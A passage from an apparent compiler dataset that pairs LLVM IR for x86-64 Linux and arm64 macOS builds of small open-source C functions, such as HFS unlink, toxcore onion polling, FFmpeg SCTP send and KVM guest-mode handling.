attributes #0 = { nounwind uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #2 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3}
!llvm.ident = !{!4}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"}
!5 = !{!6, !10, i64 8}
!6 = !{!"dentry", !7, i64 0, !10, i64 8}
!7 = !{!"int", !8, i64 0}
!8 = !{!"omnipotent char", !9, i64 0}
!9 = !{!"Simple C/C++ TBAA"}
!10 = !{!"any pointer", !8, i64 0}
!11 = !{!12, !7, i64 4}
!12 = !{!"inode", !7, i64 0, !7, i64 4}
!13 = !{!7, !7, i64 0}
!14 = !{!12, !7, i64 0}
| ; ModuleID = 'AnghaBench/fastsocket/kernel/fs/hfs/extr_dir.c_hfs_unlink.c'
source_filename = "AnghaBench/fastsocket/kernel/fs/hfs/extr_dir.c_hfs_unlink.c"
target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32"
target triple = "arm64-apple-macosx15.0.0"
@CURRENT_TIME_SEC = common local_unnamed_addr global i32 0, align 4
@llvm.used = appending global [1 x ptr] [ptr @hfs_unlink], section "llvm.metadata"
; Function Attrs: nounwind ssp uwtable(sync)
define internal i32 @hfs_unlink(ptr noundef %0, ptr noundef %1) #0 {
%3 = getelementptr inbounds i8, ptr %1, i64 8
%4 = load ptr, ptr %3, align 8, !tbaa !6
%5 = getelementptr inbounds i8, ptr %4, i64 4
%6 = load i32, ptr %5, align 4, !tbaa !12
%7 = tail call i32 @hfs_cat_delete(i32 noundef %6, ptr noundef %0, ptr noundef %1) #2
%8 = icmp eq i32 %7, 0
br i1 %8, label %9, label %14
9: ; preds = %2
%10 = tail call i32 @drop_nlink(ptr noundef nonnull %4) #2
%11 = tail call i32 @hfs_delete_inode(ptr noundef nonnull %4) #2
%12 = load i32, ptr @CURRENT_TIME_SEC, align 4, !tbaa !14
store i32 %12, ptr %4, align 4, !tbaa !15
%13 = tail call i32 @mark_inode_dirty(ptr noundef nonnull %4) #2
br label %14
14: ; preds = %2, %9
ret i32 %7
}
declare i32 @hfs_cat_delete(i32 noundef, ptr noundef, ptr noundef) local_unnamed_addr #1
declare i32 @drop_nlink(ptr noundef) local_unnamed_addr #1
declare i32 @hfs_delete_inode(ptr noundef) local_unnamed_addr #1
declare i32 @mark_inode_dirty(ptr noundef) local_unnamed_addr #1
attributes #0 = { nounwind ssp uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
attributes #1 = { "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
attributes #2 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]}
!1 = !{i32 1, !"wchar_size", i32 4}
!2 = !{i32 8, !"PIC Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 1}
!4 = !{i32 7, !"frame-pointer", i32 1}
!5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"}
!6 = !{!7, !11, i64 8}
!7 = !{!"dentry", !8, i64 0, !11, i64 8}
!8 = !{!"int", !9, i64 0}
!9 = !{!"omnipotent char", !10, i64 0}
!10 = !{!"Simple C/C++ TBAA"}
!11 = !{!"any pointer", !9, i64 0}
!12 = !{!13, !8, i64 4}
!13 = !{!"inode", !8, i64 0, !8, i64 4}
!14 = !{!8, !8, i64 0}
!15 = !{!13, !8, i64 0}
| fastsocket_kernel_fs_hfs_extr_dir.c_hfs_unlink |
; ModuleID = 'AnghaBench/toxcore/auto_tests/extr_onion_test.c_do_onions.c'
source_filename = "AnghaBench/toxcore/auto_tests/extr_onion_test.c_do_onions.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128"
target triple = "x86_64-unknown-linux-gnu"
%struct.TYPE_5__ = type { i32, ptr }
%struct.TYPE_4__ = type { i32, i32 }
; Function Attrs: nounwind uwtable
define dso_local void @do_onions(ptr nocapture noundef readonly %0) local_unnamed_addr #0 {
%2 = getelementptr inbounds %struct.TYPE_5__, ptr %0, i64 0, i32 1
%3 = load ptr, ptr %2, align 8, !tbaa !5
%4 = getelementptr inbounds %struct.TYPE_4__, ptr %3, i64 0, i32 1
%5 = load i32, ptr %4, align 4, !tbaa !11
%6 = tail call i32 @networking_poll(i32 noundef %5) #2
%7 = load ptr, ptr %2, align 8, !tbaa !5
%8 = load i32, ptr %7, align 4, !tbaa !13
%9 = tail call i32 @do_DHT(i32 noundef %8) #2
%10 = load i32, ptr %0, align 8, !tbaa !14
%11 = tail call i32 @do_onion_client(i32 noundef %10) #2
ret void
}
declare i32 @networking_poll(i32 noundef) local_unnamed_addr #1
declare i32 @do_DHT(i32 noundef) local_unnamed_addr #1
declare i32 @do_onion_client(i32 noundef) local_unnamed_addr #1
attributes #0 = { nounwind uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #2 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3}
!llvm.ident = !{!4}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"}
!5 = !{!6, !10, i64 8}
!6 = !{!"TYPE_5__", !7, i64 0, !10, i64 8}
!7 = !{!"int", !8, i64 0}
!8 = !{!"omnipotent char", !9, i64 0}
!9 = !{!"Simple C/C++ TBAA"}
!10 = !{!"any pointer", !8, i64 0}
!11 = !{!12, !7, i64 4}
!12 = !{!"TYPE_4__", !7, i64 0, !7, i64 4}
!13 = !{!12, !7, i64 0}
!14 = !{!6, !7, i64 0}
| ; ModuleID = 'AnghaBench/toxcore/auto_tests/extr_onion_test.c_do_onions.c'
source_filename = "AnghaBench/toxcore/auto_tests/extr_onion_test.c_do_onions.c"
target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32"
target triple = "arm64-apple-macosx15.0.0"
; Function Attrs: nounwind ssp uwtable(sync)
define void @do_onions(ptr nocapture noundef readonly %0) local_unnamed_addr #0 {
%2 = getelementptr inbounds i8, ptr %0, i64 8
%3 = load ptr, ptr %2, align 8, !tbaa !6
%4 = getelementptr inbounds i8, ptr %3, i64 4
%5 = load i32, ptr %4, align 4, !tbaa !12
%6 = tail call i32 @networking_poll(i32 noundef %5) #2
%7 = load ptr, ptr %2, align 8, !tbaa !6
%8 = load i32, ptr %7, align 4, !tbaa !14
%9 = tail call i32 @do_DHT(i32 noundef %8) #2
%10 = load i32, ptr %0, align 8, !tbaa !15
%11 = tail call i32 @do_onion_client(i32 noundef %10) #2
ret void
}
declare i32 @networking_poll(i32 noundef) local_unnamed_addr #1
declare i32 @do_DHT(i32 noundef) local_unnamed_addr #1
declare i32 @do_onion_client(i32 noundef) local_unnamed_addr #1
attributes #0 = { nounwind ssp uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
attributes #1 = { "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
attributes #2 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]}
!1 = !{i32 1, !"wchar_size", i32 4}
!2 = !{i32 8, !"PIC Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 1}
!4 = !{i32 7, !"frame-pointer", i32 1}
!5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"}
!6 = !{!7, !11, i64 8}
!7 = !{!"TYPE_5__", !8, i64 0, !11, i64 8}
!8 = !{!"int", !9, i64 0}
!9 = !{!"omnipotent char", !10, i64 0}
!10 = !{!"Simple C/C++ TBAA"}
!11 = !{!"any pointer", !9, i64 0}
!12 = !{!13, !8, i64 4}
!13 = !{!"TYPE_4__", !8, i64 0, !8, i64 4}
!14 = !{!13, !8, i64 0}
!15 = !{!7, !8, i64 0}
| toxcore_auto_tests_extr_onion_test.c_do_onions |
; ModuleID = 'AnghaBench/FFmpeg/libavformat/extr_sctp.c_ff_sctp_send.c'
source_filename = "AnghaBench/FFmpeg/libavformat/extr_sctp.c_ff_sctp_send.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128"
target triple = "x86_64-unknown-linux-gnu"
%struct.msghdr = type { i32, i32, ptr, i64, ptr, i64, ptr, i32 }
%struct.iovec = type { i64, ptr }
%struct.cmsghdr = type { i32, i32, i32 }
@IPPROTO_SCTP = dso_local local_unnamed_addr global i32 0, align 4
@SCTP_SNDRCV = dso_local local_unnamed_addr global i32 0, align 4
@MSG_NOSIGNAL = dso_local local_unnamed_addr global i32 0, align 4
@llvm.compiler.used = appending global [1 x ptr] [ptr @ff_sctp_send], section "llvm.metadata"
; Function Attrs: nounwind uwtable
define internal i32 @ff_sctp_send(i32 noundef %0, ptr noundef %1, i64 noundef %2, ptr noundef %3, i32 noundef %4) #0 {
%6 = alloca %struct.msghdr, align 8
%7 = alloca %struct.iovec, align 8
call void @llvm.lifetime.start.p0(i64 56, ptr nonnull %6) #5
%8 = getelementptr inbounds i8, ptr %6, i64 8
call void @llvm.memset.p0.i64(ptr noundef nonnull align 8 dereferenceable(56) %8, i8 0, i64 48, i1 false)
call void @llvm.lifetime.start.p0(i64 16, ptr nonnull %7) #5
%9 = getelementptr inbounds %struct.msghdr, ptr %6, i64 0, i32 5
%10 = getelementptr inbounds %struct.msghdr, ptr %6, i64 0, i32 4
call void @llvm.memset.p0.i64(ptr noundef nonnull align 8 dereferenceable(16) %9, i8 0, i64 16, i1 false)
store ptr %7, ptr %10, align 8, !tbaa !5
%11 = getelementptr inbounds %struct.iovec, ptr %7, i64 0, i32 1
store ptr %1, ptr %11, align 8, !tbaa !12
store i64 %2, ptr %7, align 8, !tbaa !14
store i32 1, ptr %6, align 8, !tbaa !15
%12 = getelementptr inbounds %struct.msghdr, ptr %6, i64 0, i32 1
store i32 0, ptr %12, align 4, !tbaa !16
%13 = icmp eq ptr %3, null
br i1 %13, label %29, label %14
14: ; preds = %5
%15 = call i32 @CMSG_SPACE(i32 noundef 4) #5
%16 = zext i32 %15 to i64
%17 = call ptr @llvm.stacksave.p0()
%18 = alloca i8, i64 %16, align 16
%19 = getelementptr inbounds %struct.msghdr, ptr %6, i64 0, i32 2
store ptr %18, ptr %19, align 8, !tbaa !17
store i32 %15, ptr %12, align 4, !tbaa !16
%20 = getelementptr inbounds %struct.msghdr, ptr %6, i64 0, i32 3
store i64 0, ptr %20, align 8, !tbaa !18
%21 = call ptr @CMSG_FIRSTHDR(ptr noundef nonnull %6) #5
%22 = load i32, ptr @IPPROTO_SCTP, align 4, !tbaa !19
%23 = getelementptr inbounds %struct.cmsghdr, ptr %21, i64 0, i32 2
store i32 %22, ptr %23, align 4, !tbaa !20
%24 = load i32, ptr @SCTP_SNDRCV, align 4, !tbaa !19
%25 = getelementptr inbounds %struct.cmsghdr, ptr %21, i64 0, i32 1
store i32 %24, ptr %25, align 4, !tbaa !22
%26 = call i32 @CMSG_LEN(i32 noundef 4) #5
store i32 %26, ptr %21, align 4, !tbaa !23
store i32 %26, ptr %12, align 4, !tbaa !16
%27 = call i32 @CMSG_DATA(ptr noundef nonnull %21) #5
%28 = call i32 @memcpy(i32 noundef %27, ptr noundef nonnull %3, i32 noundef 4) #5
call void @llvm.stackrestore.p0(ptr %17)
br label %29
29: ; preds = %14, %5
%30 = load i32, ptr @MSG_NOSIGNAL, align 4, !tbaa !19
%31 = or i32 %30, %4
%32 = call i32 @sendmsg(i32 noundef %0, ptr noundef nonnull %6, i32 noundef %31) #5
call void @llvm.lifetime.end.p0(i64 16, ptr nonnull %7) #5
call void @llvm.lifetime.end.p0(i64 56, ptr nonnull %6) #5
ret i32 %32
}
; Function Attrs: mustprogress nocallback nofree nosync nounwind willreturn memory(argmem: readwrite)
declare void @llvm.lifetime.start.p0(i64 immarg, ptr nocapture) #1
; Function Attrs: mustprogress nocallback nofree nounwind willreturn memory(argmem: write)
declare void @llvm.memset.p0.i64(ptr nocapture writeonly, i8, i64, i1 immarg) #2
declare i32 @CMSG_SPACE(i32 noundef) local_unnamed_addr #3
; Function Attrs: mustprogress nocallback nofree nosync nounwind willreturn
declare ptr @llvm.stacksave.p0() #4
declare ptr @CMSG_FIRSTHDR(ptr noundef) local_unnamed_addr #3
declare i32 @CMSG_LEN(i32 noundef) local_unnamed_addr #3
declare i32 @memcpy(i32 noundef, ptr noundef, i32 noundef) local_unnamed_addr #3
declare i32 @CMSG_DATA(ptr noundef) local_unnamed_addr #3
; Function Attrs: mustprogress nocallback nofree nosync nounwind willreturn memory(argmem: readwrite)
declare void @llvm.lifetime.end.p0(i64 immarg, ptr nocapture) #1
; Function Attrs: mustprogress nocallback nofree nosync nounwind willreturn
declare void @llvm.stackrestore.p0(ptr) #4
declare i32 @sendmsg(i32 noundef, ptr noundef, i32 noundef) local_unnamed_addr #3
attributes #0 = { nounwind uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { mustprogress nocallback nofree nosync nounwind willreturn memory(argmem: readwrite) }
attributes #2 = { mustprogress nocallback nofree nounwind willreturn memory(argmem: write) }
attributes #3 = { "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #4 = { mustprogress nocallback nofree nosync nounwind willreturn }
attributes #5 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3}
!llvm.ident = !{!4}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"}
!5 = !{!6, !10, i64 24}
!6 = !{!"msghdr", !7, i64 0, !7, i64 4, !10, i64 8, !11, i64 16, !10, i64 24, !11, i64 32, !10, i64 40, !7, i64 48}
!7 = !{!"int", !8, i64 0}
!8 = !{!"omnipotent char", !9, i64 0}
!9 = !{!"Simple C/C++ TBAA"}
!10 = !{!"any pointer", !8, i64 0}
!11 = !{!"long", !8, i64 0}
!12 = !{!13, !10, i64 8}
!13 = !{!"iovec", !11, i64 0, !10, i64 8}
!14 = !{!13, !11, i64 0}
!15 = !{!6, !7, i64 0}
!16 = !{!6, !7, i64 4}
!17 = !{!6, !10, i64 8}
!18 = !{!6, !11, i64 16}
!19 = !{!7, !7, i64 0}
!20 = !{!21, !7, i64 8}
!21 = !{!"cmsghdr", !7, i64 0, !7, i64 4, !7, i64 8}
!22 = !{!21, !7, i64 4}
!23 = !{!21, !7, i64 0}
| ; ModuleID = 'AnghaBench/FFmpeg/libavformat/extr_sctp.c_ff_sctp_send.c'
source_filename = "AnghaBench/FFmpeg/libavformat/extr_sctp.c_ff_sctp_send.c"
target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32"
target triple = "arm64-apple-macosx15.0.0"
%struct.msghdr = type { i32, i32, ptr, i64, ptr, i64, ptr, i32 }
%struct.iovec = type { i64, ptr }
@IPPROTO_SCTP = common local_unnamed_addr global i32 0, align 4
@SCTP_SNDRCV = common local_unnamed_addr global i32 0, align 4
@MSG_NOSIGNAL = common local_unnamed_addr global i32 0, align 4
@llvm.used = appending global [1 x ptr] [ptr @ff_sctp_send], section "llvm.metadata"
; Function Attrs: nounwind ssp uwtable(sync)
define internal i32 @ff_sctp_send(i32 noundef %0, ptr noundef %1, i64 noundef %2, ptr noundef %3, i32 noundef %4) #0 {
%6 = alloca %struct.msghdr, align 8
%7 = alloca %struct.iovec, align 8
call void @llvm.lifetime.start.p0(i64 56, ptr nonnull %6) #5
%8 = getelementptr inbounds i8, ptr %6, i64 8
call void @llvm.memset.p0.i64(ptr noundef nonnull align 8 dereferenceable(56) %8, i8 0, i64 48, i1 false)
call void @llvm.lifetime.start.p0(i64 16, ptr nonnull %7) #5
%9 = getelementptr inbounds i8, ptr %6, i64 32
%10 = getelementptr inbounds i8, ptr %6, i64 24
call void @llvm.memset.p0.i64(ptr noundef nonnull align 8 dereferenceable(16) %9, i8 0, i64 16, i1 false)
store ptr %7, ptr %10, align 8, !tbaa !6
%11 = getelementptr inbounds i8, ptr %7, i64 8
store ptr %1, ptr %11, align 8, !tbaa !13
store i64 %2, ptr %7, align 8, !tbaa !15
store <2 x i32> <i32 1, i32 0>, ptr %6, align 8, !tbaa !16
%12 = icmp eq ptr %3, null
br i1 %12, label %28, label %13
13: ; preds = %5
%14 = getelementptr inbounds i8, ptr %6, i64 4
%15 = call i32 @CMSG_SPACE(i32 noundef 4) #5
%16 = zext i32 %15 to i64
%17 = call ptr @llvm.stacksave.p0()
%18 = alloca i8, i64 %16, align 1
store ptr %18, ptr %8, align 8, !tbaa !17
store i32 %15, ptr %14, align 4, !tbaa !18
%19 = getelementptr inbounds i8, ptr %6, i64 16
store i64 0, ptr %19, align 8, !tbaa !19
%20 = call ptr @CMSG_FIRSTHDR(ptr noundef nonnull %6) #5
%21 = load i32, ptr @IPPROTO_SCTP, align 4, !tbaa !16
%22 = getelementptr inbounds i8, ptr %20, i64 8
store i32 %21, ptr %22, align 4, !tbaa !20
%23 = load i32, ptr @SCTP_SNDRCV, align 4, !tbaa !16
%24 = getelementptr inbounds i8, ptr %20, i64 4
store i32 %23, ptr %24, align 4, !tbaa !22
%25 = call i32 @CMSG_LEN(i32 noundef 4) #5
store i32 %25, ptr %20, align 4, !tbaa !23
store i32 %25, ptr %14, align 4, !tbaa !18
%26 = call i32 @CMSG_DATA(ptr noundef nonnull %20) #5
%27 = call i32 @memcpy(i32 noundef %26, ptr noundef nonnull %3, i32 noundef 4) #5
call void @llvm.stackrestore.p0(ptr %17)
br label %28
28: ; preds = %13, %5
%29 = load i32, ptr @MSG_NOSIGNAL, align 4, !tbaa !16
%30 = or i32 %29, %4
%31 = call i32 @sendmsg(i32 noundef %0, ptr noundef nonnull %6, i32 noundef %30) #5
call void @llvm.lifetime.end.p0(i64 16, ptr nonnull %7) #5
call void @llvm.lifetime.end.p0(i64 56, ptr nonnull %6) #5
ret i32 %31
}
; Function Attrs: mustprogress nocallback nofree nosync nounwind willreturn memory(argmem: readwrite)
declare void @llvm.lifetime.start.p0(i64 immarg, ptr nocapture) #1
; Function Attrs: mustprogress nocallback nofree nounwind willreturn memory(argmem: write)
declare void @llvm.memset.p0.i64(ptr nocapture writeonly, i8, i64, i1 immarg) #2
declare i32 @CMSG_SPACE(i32 noundef) local_unnamed_addr #3
; Function Attrs: mustprogress nocallback nofree nosync nounwind willreturn
declare ptr @llvm.stacksave.p0() #4
declare ptr @CMSG_FIRSTHDR(ptr noundef) local_unnamed_addr #3
declare i32 @CMSG_LEN(i32 noundef) local_unnamed_addr #3
declare i32 @memcpy(i32 noundef, ptr noundef, i32 noundef) local_unnamed_addr #3
declare i32 @CMSG_DATA(ptr noundef) local_unnamed_addr #3
; Function Attrs: mustprogress nocallback nofree nosync nounwind willreturn memory(argmem: readwrite)
declare void @llvm.lifetime.end.p0(i64 immarg, ptr nocapture) #1
; Function Attrs: mustprogress nocallback nofree nosync nounwind willreturn
declare void @llvm.stackrestore.p0(ptr) #4
declare i32 @sendmsg(i32 noundef, ptr noundef, i32 noundef) local_unnamed_addr #3
attributes #0 = { nounwind ssp uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
attributes #1 = { mustprogress nocallback nofree nosync nounwind willreturn memory(argmem: readwrite) }
attributes #2 = { mustprogress nocallback nofree nounwind willreturn memory(argmem: write) }
attributes #3 = { "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
attributes #4 = { mustprogress nocallback nofree nosync nounwind willreturn }
attributes #5 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]}
!1 = !{i32 1, !"wchar_size", i32 4}
!2 = !{i32 8, !"PIC Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 1}
!4 = !{i32 7, !"frame-pointer", i32 1}
!5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"}
!6 = !{!7, !11, i64 24}
!7 = !{!"msghdr", !8, i64 0, !8, i64 4, !11, i64 8, !12, i64 16, !11, i64 24, !12, i64 32, !11, i64 40, !8, i64 48}
!8 = !{!"int", !9, i64 0}
!9 = !{!"omnipotent char", !10, i64 0}
!10 = !{!"Simple C/C++ TBAA"}
!11 = !{!"any pointer", !9, i64 0}
!12 = !{!"long", !9, i64 0}
!13 = !{!14, !11, i64 8}
!14 = !{!"iovec", !12, i64 0, !11, i64 8}
!15 = !{!14, !12, i64 0}
!16 = !{!8, !8, i64 0}
!17 = !{!7, !11, i64 8}
!18 = !{!7, !8, i64 4}
!19 = !{!7, !12, i64 16}
!20 = !{!21, !8, i64 8}
!21 = !{!"cmsghdr", !8, i64 0, !8, i64 4, !8, i64 8}
!22 = !{!21, !8, i64 4}
!23 = !{!21, !8, i64 0}
| FFmpeg_libavformat_extr_sctp.c_ff_sctp_send |
; ModuleID = 'AnghaBench/linux/arch/x86/kvm/extr_kvm_cache_regs.h_leave_guest_mode.c'
source_filename = "AnghaBench/linux/arch/x86/kvm/extr_kvm_cache_regs.h_leave_guest_mode.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128"
target triple = "x86_64-unknown-linux-gnu"
%struct.TYPE_2__ = type { i32, i32 }
@HF_GUEST_MASK = dso_local local_unnamed_addr global i32 0, align 4
@KVM_REQ_LOAD_EOI_EXITMAP = dso_local local_unnamed_addr global i32 0, align 4
@llvm.compiler.used = appending global [1 x ptr] [ptr @leave_guest_mode], section "llvm.metadata"
; Function Attrs: inlinehint nounwind uwtable
define internal void @leave_guest_mode(ptr noundef %0) #0 {
%2 = load i32, ptr @HF_GUEST_MASK, align 4, !tbaa !5
%3 = xor i32 %2, -1
%4 = getelementptr inbounds %struct.TYPE_2__, ptr %0, i64 0, i32 1
%5 = load i32, ptr %4, align 4, !tbaa !9
%6 = and i32 %5, %3
store i32 %6, ptr %4, align 4, !tbaa !9
%7 = load i32, ptr %0, align 4, !tbaa !12
%8 = icmp eq i32 %7, 0
br i1 %8, label %12, label %9
9: ; preds = %1
store i32 0, ptr %0, align 4, !tbaa !12
%10 = load i32, ptr @KVM_REQ_LOAD_EOI_EXITMAP, align 4, !tbaa !5
%11 = tail call i32 @kvm_make_request(i32 noundef %10, ptr noundef nonnull %0) #2
br label %12
12: ; preds = %9, %1
ret void
}
declare i32 @kvm_make_request(i32 noundef, ptr noundef) local_unnamed_addr #1
attributes #0 = { inlinehint nounwind uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #2 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3}
!llvm.ident = !{!4}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"}
!5 = !{!6, !6, i64 0}
!6 = !{!"int", !7, i64 0}
!7 = !{!"omnipotent char", !8, i64 0}
!8 = !{!"Simple C/C++ TBAA"}
!9 = !{!10, !6, i64 4}
!10 = !{!"kvm_vcpu", !11, i64 0}
!11 = !{!"TYPE_2__", !6, i64 0, !6, i64 4}
!12 = !{!10, !6, i64 0}
| ; ModuleID = 'AnghaBench/linux/arch/x86/kvm/extr_kvm_cache_regs.h_leave_guest_mode.c'
source_filename = "AnghaBench/linux/arch/x86/kvm/extr_kvm_cache_regs.h_leave_guest_mode.c"
target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32"
target triple = "arm64-apple-macosx15.0.0"
@HF_GUEST_MASK = common local_unnamed_addr global i32 0, align 4
@KVM_REQ_LOAD_EOI_EXITMAP = common local_unnamed_addr global i32 0, align 4
@llvm.used = appending global [1 x ptr] [ptr @leave_guest_mode], section "llvm.metadata"
; Function Attrs: inlinehint nounwind ssp uwtable(sync)
define internal void @leave_guest_mode(ptr noundef %0) #0 {
%2 = load i32, ptr @HF_GUEST_MASK, align 4, !tbaa !6
%3 = xor i32 %2, -1
%4 = getelementptr inbounds i8, ptr %0, i64 4
%5 = load i32, ptr %4, align 4, !tbaa !10
%6 = and i32 %5, %3
store i32 %6, ptr %4, align 4, !tbaa !10
%7 = load i32, ptr %0, align 4, !tbaa !13
%8 = icmp eq i32 %7, 0
br i1 %8, label %12, label %9
9: ; preds = %1
store i32 0, ptr %0, align 4, !tbaa !13
%10 = load i32, ptr @KVM_REQ_LOAD_EOI_EXITMAP, align 4, !tbaa !6
